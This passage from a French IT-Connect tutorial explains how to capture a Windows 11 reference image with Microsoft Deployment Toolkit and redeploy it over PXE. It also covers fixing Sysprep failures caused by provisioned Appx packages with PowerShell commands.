<p>Désormais, nous allons initier la capture de l'image Windows 11. Vous ne devez pas démarrer en boot PXE sur le LiteTouch pour cette étape. À partir d'une session, sur la machine Windows 11 à capturer, accédez au DeploymentShare de votre serveur MDT.</p>



<p>À partir du nom ou de l'adresse IP. Puis, dans le répertoire "<strong>Scripts</strong>", exécutez le fichier "<strong>LiteTouch.vbs</strong>".</p>



<pre class="wp-block-code"><code>\\SRV-WDS\DeploymentShare$\Scripts
\\192.168.14.11\DeploymentShare$\Scripts</code></pre>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="332" src="media/77be4663.MDT-Capturer-image-Windows-11-22H2-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-1.png" alt="MDT - Capturer image Windows 11 22H2 - 1" class="wp-image-61965" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-1-550x228.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-1-150x62.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-1-768x319.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-1-50x21.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Actuellement, vous êtes toujours sur Windows 11, connecté à la session, et le LiteTouch démarre !</mark></strong></p>



<p>Sélectionnez la séquence de tâche "<strong>Capturer Windows 11</strong>" créée précédemment puis continuez.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="756" height="556" src="media/0ce75c3f.Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-1.png" alt="" class="wp-image-78273" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-1.png 756w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-1-550x404.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-1-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-1-50x37.png 50w" sizes="(max-width: 756px) 100vw, 756px" /></figure>



<p>Choisissez "<strong>Capture an image of this reference computer</strong>". Vous pouvez éventuellement donner <strong>un nom personnalisé à l'image WIM</strong>. Ici, la capture va générer l'image "<strong>CAPTW11-01.wim</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="756" height="555" src="media/8f2e7dfb.Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-2.png" alt="" class="wp-image-78274" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-2.png 756w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-2-550x404.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-2-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-2-50x37.png 50w" sizes="(max-width: 756px) 100vw, 756px" /></figure>



<p>Continuez jusqu'à la dernière étape puis cliquez sur "<strong>Begin</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="760" height="558" src="media/ca7f3f93.Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-3.png" alt="" class="wp-image-78275" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-3.png 760w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-3-550x404.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-3-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-3-50x37.png 50w" sizes="(max-width: 760px) 100vw, 760px" /></figure>



<h3 class="wp-block-heading">B. Le Sysprep</h3>



<p>Le LiteTouch va commencer par initier un <strong>Sysprep </strong>sur la machine Windows. Cette étape est cruciale car Sysprep efface toutes les informations spécifiques à la machine : le SID, le nom de l'ordinateur, etc... Afin de préparer la machine au clonage ou à la création d'une image de référence (notre cas).</p>



<p>Patientez...<strong> </strong></p>


<div class="wp-block-image">
<figure class="aligncenter"><img decoding="async" width="800" height="447" src="media/b68c9a5d.MDT-Capturer-image-Windows-11-22H2-5.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-5.jpg" alt="MDT - Capturer image Windows 11 22H2 - 5" class="wp-image-61960" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-5.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-5-550x307.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-5-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-5-768x429.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/04/MDT-Capturer-image-Windows-11-22H2-5-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong>Le Sysprep est l'étape la plus délicate, disons</strong>. </p>



<p>Il y a régulièrement des plantages à cette étape, notamment à cause des applications Appx provisionnées dans une session et pas dans une autre. Si vous rencontrez une erreur, consultez ce fichier journal :</p>



<pre class="wp-block-code"><code>C:\Windows\System32\sysprep\Panther\setupact.log</code></pre>



<p>Vous pouvez constater des lignes comme celle-ci :</p>



<pre class="wp-block-code"><code>SYSPRP Package <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">&lt;Nom du package&gt;</mark></strong> was installed for a user, but not provisioned for all users.</code></pre>



<p>Dans ce cas, vous devez utiliser PowerShell pour essayer de faire le nettoyage nécessaire. Ceci peut bloquer sur une première application, puis sur une deuxième, donc consultez bien les logs si l'erreur revient après avoir fait le nécessaire.</p>



<pre class="wp-block-code"><code>Remove-AppxPackage -Package <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">&lt;Nom du package&gt;</mark></strong></code></pre>



<p>Pour lister les paquets de Microsoft, vous pouvez utiliser cette commande :</p>



<pre class="wp-block-code"><code>Get-AppxPackage -AllUsers | Where PublisherId -eq 8wekyb3d8bbwe | Format-List -Property PackageFullName,PackageUserInformation</code></pre>



<p>Si vous ne parvenez pas à supprimer le paquet, essayez des commandes en supplément :</p>



<pre class="wp-block-code"><code>Get-AppxPackage -AllUsers <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">&lt;Nom du package&gt;</mark></strong> | Remove-AppxPackage -AllUsers
Remove-AppxProvisionedPackage -Online -PackageName <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">&lt;Nom du package&gt;</mark></strong></code></pre>



<p>Vous pouvez consulter <a href="https://learn.microsoft.com/fr-fr/troubleshoot/windows-client/installing-updates-features-roles/sysprep-fails-remove-or-update-store-apps#resolution?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">cette page de la documentation Microsoft</a> puisqu'elle aborde ce sujet.</p>



<p><strong>Quand le Sysprep sera terminé et effectué avec succès, la machine va redémarrer.</strong></p>



<h3 class="wp-block-heading">C. Création de l'image WIM</h3>



<p>Au redémarrage, la machine va automatiquement poursuivre la capture et procéder à la création de l'image WIM. Ceci signifie que l'image WIM est envoyée dans le répertoire "<strong>Captures</strong>" de votre DeploymentShare.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="410" src="media/8564c600.Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-4.png" alt="" class="wp-image-78276" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-4.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-4-550x282.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-4-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-4-768x394.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-4-50x26.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Patientez jusqu'à la fin... Ici, la capture s'est déroulée sans problème !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="698" height="500" src="media/62375223.Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-5.png" alt="" class="wp-image-78277" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-5.png 698w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-5-550x394.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-5-150x107.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-5-50x36.png 50w" sizes="(max-width: 698px) 100vw, 698px" /></figure>



<p>Sur le serveur MDT, il y a bien une nouvelle image WIM. Son poids est d'environ 9,4 Go.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="250" src="media/cd661aa8.Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-6.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-6.png" alt="" class="wp-image-78278" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-6.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-6-550x172.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-6-150x47.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-6-768x240.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Demarrer-une-capture-de-Windows-11-avec-MDT-Etape-6-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">VI. Ajouter l'image de référence à une séquence de tâches</h2>



<p><strong>Nous avons fait la capture de notre image de référence, c'est bien, mais comment l'utiliser ? Comment déployer cette image sur des ordinateurs ?</strong></p>



<h3 class="wp-block-heading">A. Importer l'image WIM dans MDT</h3>



<p>Tout d'abord, nous devons importer l'image WIM dans MDT, en tant qu'image de système d'exploitation.</p>



<p>Sur "<strong>Operating Systems</strong>", effectuez un clic droit et cliquez sur "<strong>Import Operating System</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="249" src="media/f90a110f.MDT-Importer-image-WIM-de-reference-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-1.png" alt="" class="wp-image-78279" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-1-550x171.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-1-150x47.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-1-768x239.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-1-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Un assistant s'exécute. Choisissez "<strong>Custom image file</strong>" comme type d'OS.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="724" height="602" src="media/aed4bcc7.MDT-Importer-image-WIM-de-reference-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-2.png" alt="" class="wp-image-78280" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-2.png 724w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-2-550x457.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-2-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-2-50x42.png 50w" sizes="(max-width: 724px) 100vw, 724px" /></figure>



<p>Puis, à l'étape "<strong>Image</strong>", cliquez sur "<strong>Browse</strong>" pour sélectionner l'image WIM générée par la tâche de capture. Cochez également l'option "<strong>Move the files...</strong>" pour que l'image WIM soit déplacée dans le répertoire "<strong>Operating Systems</strong>" de votre <strong>DeploymentShare</strong>. Sinon, elle sera copiée et elle occupera deux fois plus de place sur votre serveur...</p>



<figure class="wp-block-image size-full"><img decoding="async" width="722" height="602" src="media/0f6b0ac4.MDT-Importer-image-WIM-de-reference-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-3.png" alt="" class="wp-image-78281" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-3.png 722w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-3-550x459.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-3-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-3-50x42.png 50w" sizes="(max-width: 722px) 100vw, 722px" /></figure>



<p>Poursuivez jusqu'à la fin en suivant l'assistant... Il n'est pas nécessaire de changer les autres paramètres, si ce n'est nommer le répertoire de destination.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="723" height="604" src="media/fdded8ba.MDT-Importer-image-WIM-de-reference-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-4.png" alt="" class="wp-image-78282" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-4.png 723w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-4-550x459.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-4-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-4-50x42.png 50w" sizes="(max-width: 723px) 100vw, 723px" /></figure>



<p>Voilà, l'image WIM est importée !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="722" height="602" src="media/c506b94c.MDT-Importer-image-WIM-de-reference-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-5.png" alt="" class="wp-image-78283" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-5.png 722w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-5-550x459.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-5-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Importer-image-WIM-de-reference-5-50x42.png 50w" sizes="(max-width: 722px) 100vw, 722px" /></figure>



<h3 class="wp-block-heading">B. Associer l'image WIM à une séquence de tâches</h3>



<p>Désormais, nous allons associer l'image WIM capturée à une séquence de tâches dans le but de la déployer sur des appareils. Vous pouvez créer une nouvelle séquence de tâches, ou éditer une séquence de tâches existante. Ici, nous allons éditer la tâche "<strong>Déployer Windows 11 Pro 23H2</strong>".</p>



<p><strong>1 </strong>- Rendez-vous dans "<strong>Task Sequences</strong>".</p>



<p><strong>2</strong> - Double-cliquez sur la séquence de tâches à modifier.</p>



<p><strong>3</strong> - Cliquez sur l'onglet "<strong>Task Sequence</strong>" pour accéder à la liste des tâches.</p>



<p>4 - Sous "<strong>Install</strong>", cliquez sur la tâche "<strong>Install Operating System</strong>".</p>



<p>5 - Sur la droite, cliquez sur "<strong>Browse</strong>", ceci vous permet de choisir l'image WIM à déployer !</p>



<figure class="wp-block-image size-large"><a href="https://www.it-connect.fr/?attachment_id=78284"><img decoding="async" width="800" height="574" src="media/a93705a1.MDT-Sequence-de-taches-avec-WIM-de-reference-1-800x574.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-1-800x574.png" alt="" class="wp-image-78284" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-1-800x574.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-1-550x395.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-1-150x108.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-1-768x551.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-1-50x36.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-1.png 1045w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Sélectionnée l'image correspondante à votre capture :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="685" height="124" src="media/cb109fc4.MDT-Sequence-de-taches-avec-WIM-de-reference-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-2.png" alt="" class="wp-image-78285" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-2.png 685w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-2-550x100.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-2-150x27.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Sequence-de-taches-avec-WIM-de-reference-2-50x9.png 50w" sizes="(max-width: 685px) 100vw, 685px" /></figure>



<p>Validez. Vous pouvez cliquer sur "<strong>OK</strong>"<strong> </strong>car c'est la seule modification que nous devons apporter à la séquence de tâches.</p>



<h2 class="wp-block-heading">VII. Déployer l'image de référence avec MDT</h2>



<p><strong>Tout est prêt, nous n'avons plus qu'à tester cette nouvelle configuration !</strong></p>



<p>Prenez une machine sur laquelle tester le déploiement... Pour ma part, ce sera une nouvelle machine virtuelle. Puis, démarrez en <a href="https://www.it-connect.fr/le-boot-pxe-et-le-boot-ipxe-pour-les-debutants/" target="_blank" rel="noopener" title="Le boot PXE et le boot iPXE pour les débutants">boot PXE</a> pour charger l'image LiteTouch de votre MDT.</p>



<p>Vous voilà sur l'écran "<strong>Task Sequence</strong>" où vous pouvez sélectionner la tâche "<strong>Déployer Windows 11 Pro 23H2</strong>" à laquelle est rattachée l'image WIM de référence.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="770" height="562" src="media/b4d4faa9.MDT-Deployer-une-image-de-reference-Windows-11-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-1.png" alt="" class="wp-image-78293" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-1.png 770w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-1-550x401.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-1-150x109.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-1-768x561.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-1-50x36.png 50w" sizes="(max-width: 770px) 100vw, 770px" /></figure>



<p>Suivez les prochaines étapes pour associer un nom à la machine, etc... Puis lancez le déploiement !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="390" src="media/7c802042.MDT-Deployer-une-image-de-reference-Windows-11-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-2.png" alt="" class="wp-image-78294" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-2-550x268.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-2-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-2-768x374.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-2-50x24.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Voilà, le déploiement est terminé ! </strong>Nous avons une nouvelle machine déployée à l'aide de notre image de référence ! Les applications LibreOffice et VLC Media Player sont bien présentes, tout comme les VMware Tools !</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="532" src="media/198aafbb.MDT-Deployer-une-image-de-reference-Windows-11-3-800x532.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-3-800x532.jpg" alt="" class="wp-image-78295" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-3-800x532.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-3-550x366.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-3-150x100.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-3-768x511.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-3-50x33.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/MDT-Deployer-une-image-de-reference-Windows-11-3.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">VIII. Conclusion</h2>



<p>En suivant ce tutoriel, vous devriez être en mesure de <strong>capturer une image de référence personnalisée avec MDT</strong>, pour créer votre propre <strong>master sur-mesure</strong> à <strong>déployer sur les machines</strong> de votre <strong>parc informatique</strong> !</p><p>The post <a href="https://www.it-connect.fr/mdt-comment-capturer-et-deployer-une-image-master-windows-11/">MDT – Comment capturer et déployer un master Windows 11 23H2 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


